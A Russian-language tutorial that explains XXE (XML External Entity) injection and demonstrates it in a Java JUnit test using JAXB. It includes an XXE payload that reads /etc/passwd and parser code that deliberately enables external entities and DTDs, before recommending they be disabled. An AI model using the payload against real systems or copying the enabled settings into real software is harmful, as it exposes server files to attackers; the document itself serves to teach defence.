Современный XML очень мощен. Но его мощность таит в себе и угрозы. Не все знают, что парсинг внешнего XML внутри приложения может таить в себе различные опасности. Одна из таких угроз — XXE (XML eXternal Entity). Попробуем разобраться, что же из себя представляет эта угроза.
Стандарт XML определяет концепцию, называемую ENTITY. Она может быть разных типов, но нас в большей степени интересует тип SYSTEM, который позволяет получать доступ внешнему содержимому. Например, обратите внимание на этот XML:
1 2 3 4 5 6 |
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE myobject[ <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <myobject> <field1>&xxe;</field1> </myobject> |
Если мы попытаемся считать этот XML файл, то у нас в field1 будет содержимое файла “/etc/passwd”. Таким образом можно считать любой другой файл, к которому у приложения есть доступ.
В качестве наглядного примера попробуем реализовать эксплуатацию этой уязвимоста на Java. Реализуем всё в виде JUnit-теста. Заготовка будет выглядеть вот так:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
package ru.urvanov.javaexamples.xmlexternalentity; import org.junit.Rule; import org.junit.rules.TemporaryFolder; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * @author Fedor Urvanov * (<a href="https://urvanov.ru">https://urvanov.ru</a>) */ public class XxeTest { private static final String SECRET_WORD = "some secret word"; private static final Logger logger = LoggerFactory.getLogger(XxeTest.class); @Rule public TemporaryFolder tmpFolder = new TemporaryFolder(); } |
Наш класс MyObject с аннотациями:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
@XmlAccessorType(XmlAccessType.FIELD) @XmlRootElement(name = "myobject") static class MyObject { @XmlElement(name = "field1") private String field1; public String getField1() { return field1; } public void setField1(String field1) { this.field1 = field1; } @Override public String toString() { StringBuilder builder = new StringBuilder(); builder.append("MyObject [field1="); builder.append(field1); builder.append("]"); return builder.toString(); } } |
Мы будем использовать JAXB для считывания XML-файла. К счастью (или к сожалению), по умолчанию настройки парсера установлены такие, что считывание внешних сущностей не допускается, поэтому нам придётся включить их. Но я бы не стал надеяться на такие настройки в среде production, лучше отключать подобную возможность вручную в коде.
Для начала создадим временный файл и запишем туда секретное слово:
1 2 3 4 5 6 7 8 9 |
// Создаём временный файл. File file = tmpFolder.newFile(); logger.info("tempFile = {}.", file.getCanonicalPath()); // Записываем секретное слово в файл. Files.write(file.toPath(), SECRET_WORD.getBytes(Charset.forName("UTF-8")), StandardOpenOption.WRITE); |
Теперь создадим XML:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
// Генерируем XML с Xml eXternal Entity Injection StringBuilder stringBuilder = new StringBuilder(); stringBuilder.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>"); stringBuilder.append("<!DOCTYPE myobject[<!ENTITY xxe SYSTEM \"file:///"); stringBuilder.append(file.getCanonicalPath()); // XXE! Считываем содержимое // файла в сущность. stringBuilder.append("\">]>"); stringBuilder.append("<myobject>"); stringBuilder.append("<field1>"); stringBuilder.append("&xxe;"); stringBuilder.append("</field1>"); stringBuilder.append("</myobject>"); String xmlString = stringBuilder.toString(); logger.info("xmlString={}.", xmlString); |
Готовимся считывать XML, тут ничего экстраординарного:
1 2 |
JAXBContext jaxbContext = JAXBContext.newInstance(MyObject.class); XMLInputFactory xif = XMLInputFactory.newFactory(); |
По умолчанию поддержка внешних сущностей XML (XML External Entity) отключена, поэтому включаем её вручную
1 2 3 |
// Включаем поддержку внешних сущностей в XML xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true); xif.setProperty(XMLInputFactory.SUPPORT_DTD, true); |
Считываем XML в MyObject:
1 2 3 4 5 6 |
Unmarshaller jaxbUnmarshaller = jaxbContext.createUnmarshaller(); MyObject myObject = null; try (StringReader stringReader = new StringReader(xmlString)) { XMLStreamReader xsr = xif.createXMLStreamReader(stringReader); myObject = (MyObject) jaxbUnmarshaller.unmarshal(xsr); } |
Сравниваем значение field1 с секретным словом… О, ужас…
1 2 3 4 |
// В нашей считанной сущности содержится секретное слово из файла. // В данном случае ничего страшного, а ведь таким образом // можно и /etc/passwd считать. assertEquals(SECRET_WORD, myObject.getField1()); |
Конечный результат файла “XxeTest.java”:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 |
package ru.urvanov.javaexamples.xmlexternalentity; import static org.junit.Assert.assertEquals; import java.io.File; import java.io.IOException; import java.io.StringReader; import java.nio.charset.Charset; import java.nio.file.Files; import java.nio.file.StandardOpenOption; import javax.xml.bind.JAXBContext; import javax.xml.bind.JAXBException; import javax.xml.bind.Unmarshaller; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlElement; import javax.xml.bind.annotation.XmlRootElement; import javax.xml.stream.XMLInputFactory; import javax.xml.stream.XMLStreamException; import javax.xml.stream.XMLStreamReader; import org.junit.Rule; import org.junit.Test; import org.junit.rules.TemporaryFolder; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * @author Fedor Urvanov * (<a href="https://urvanov.ru">https://urvanov.ru</a>) */ public class XxeTest { private static final String SECRET_WORD = "some secret word"; private static final Logger logger = LoggerFactory.getLogger(XxeTest.class); @Rule public TemporaryFolder tmpFolder = new TemporaryFolder(); @XmlAccessorType(XmlAccessType.FIELD) @XmlRootElement(name = "myobject") static class MyObject { @XmlElement(name = "field1") private String field1; public String getField1() { return field1; } public void setField1(String field1) { this.field1 = field1; } @Override public String toString() { StringBuilder builder = new StringBuilder(); builder.append("MyObject [field1="); builder.append(field1); builder.append("]"); return builder.toString(); } } @Test public void xmlExternalEntity() throws IOException, JAXBException, XMLStreamException { // Создаём временный файл. File file = tmpFolder.newFile(); logger.info("tempFile = {}.", file.getCanonicalPath()); // Записываем секретное слово в файл. Files.write(file.toPath(), SECRET_WORD.getBytes(Charset.forName("UTF-8")), StandardOpenOption.WRITE); // Генерируем XML с Xml eXternal Entity Injection StringBuilder stringBuilder = new StringBuilder(); stringBuilder.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>"); stringBuilder.append( "<!DOCTYPE myobject[<!ENTITY xxe SYSTEM \"file:///"); stringBuilder.append( file.getCanonicalPath()); // XXE! Считываем содержимое // файла в сущность. stringBuilder.append("\">]>"); stringBuilder.append("<myobject>"); stringBuilder.append("<field1>"); stringBuilder.append("&xxe;"); stringBuilder.append("</field1>"); stringBuilder.append("</myobject>"); String xmlString = stringBuilder.toString(); logger.info("xmlString={}.", xmlString); JAXBContext jaxbContext = JAXBContext.newInstance(MyObject.class); XMLInputFactory xif = XMLInputFactory.newFactory(); // Включаем поддержку внешних сущностей в XML xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true); xif.setProperty(XMLInputFactory.SUPPORT_DTD, true); Unmarshaller jaxbUnmarshaller = jaxbContext.createUnmarshaller(); MyObject myObject = null; try (StringReader stringReader = new StringReader(xmlString)) { XMLStreamReader xsr = xif.createXMLStreamReader(stringReader); myObject = (MyObject) jaxbUnmarshaller.unmarshal(xsr); } // В нашей считанной сущности содержится секретное слово из файла. // В данном случае ничего страшного, а ведь таким образом // можно и /etc/passwd считать. assertEquals(SECRET_WORD, myObject.getField1()); } } |
Как видим, уязвимость эксплуатируется довольно легко, так что не забывайте отключать поддержку внешних сущностей для ваших парсеров XML:
1 2 |
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); |
Также не забывайте правильно очищать пароли из памяти в Java после использования.